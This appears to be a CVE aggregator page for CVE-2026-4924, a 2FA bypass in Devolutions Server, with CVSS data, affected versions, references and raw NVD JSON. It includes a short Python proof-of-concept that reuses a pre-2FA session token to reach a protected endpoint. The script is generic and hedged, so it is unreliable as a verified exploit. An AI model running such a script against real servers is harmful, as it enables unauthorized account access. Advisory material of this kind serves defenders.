CVE-2026-4924

Description

Improper authentication in the two-factor authentication (2FA) feature in Devolutions Server 2026.1.11 and earlier allows a remote attacker with valid credentials to bypass multifactor authentication and gain unauthorized access to the victim account via reuse of a partially authenticated session token.

CVSS Details

CVSS Score

8.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:* - VULNERABLE

Devolutions Server <= 2026.1.11

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Example)
target_url = "https://devolutions-server.example.com/api/login"

# Valid credentials obtained by attacker
credentials = {
    "username": "victim_user",
    "password": "user_password"
}

session = requests.Session()

# Step 1: Initiate login to get the session cookie/token
response = session.post(target_url, data=credentials)

# Check if a session cookie or token is set before 2FA completion
# Vulnerability: The server might issue a valid authenticated session cookie here
if 'session_token' in response.cookies:
    print("[+] Partially authenticated token obtained: {}".format(response.cookies['session_token']))
    
    # Step 2: Access a protected resource directly using the token
    protected_resource = "https://devolutions-server.example.com/api/dashboard"
    access_response = session.get(protected_resource)
    
    if access_response.status_code == 200:
        print("[!] Successfully bypassed 2FA and accessed protected resource.")
        print("Content:", access_response.text[:100])
    else:
        print("[-] Failed to access resource.")
else:
    print("[-] No token found.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4924
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4924
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4924/
[4] VulDB https://vuldb.com/cve/CVE-2026-4924
[5] https://devolutions.net/security/advisories/DEVO-2026-0010

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4924", "sourceIdentifier": "[email protected]", "published": "2026-04-01T16:23:51.657", "lastModified": "2026-04-03T19:22:06.100", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper\n authentication in the two-factor authentication (2FA) feature in \nDevolutions Server 2026.1.11 and earlier allows a remote attacker with valid \ncredentials to bypass multifactor authentication and gain unauthorized \naccess to the victim account via reuse of a partially authenticated \nsession token."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1390"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.3.18.0", "matchCriteriaId": "7C169CF9-1641-4C76-9325-AB65E716C7C4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.1.1.0", "versionEndExcluding": "2026.1.12.0", "matchCriteriaId": "710C8535-DE31-447E-A7FD-41DC513106F5"}]}]}], "references": [{"url": "https://devolutions.net/security/advisories/DEVO-2026-0010", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}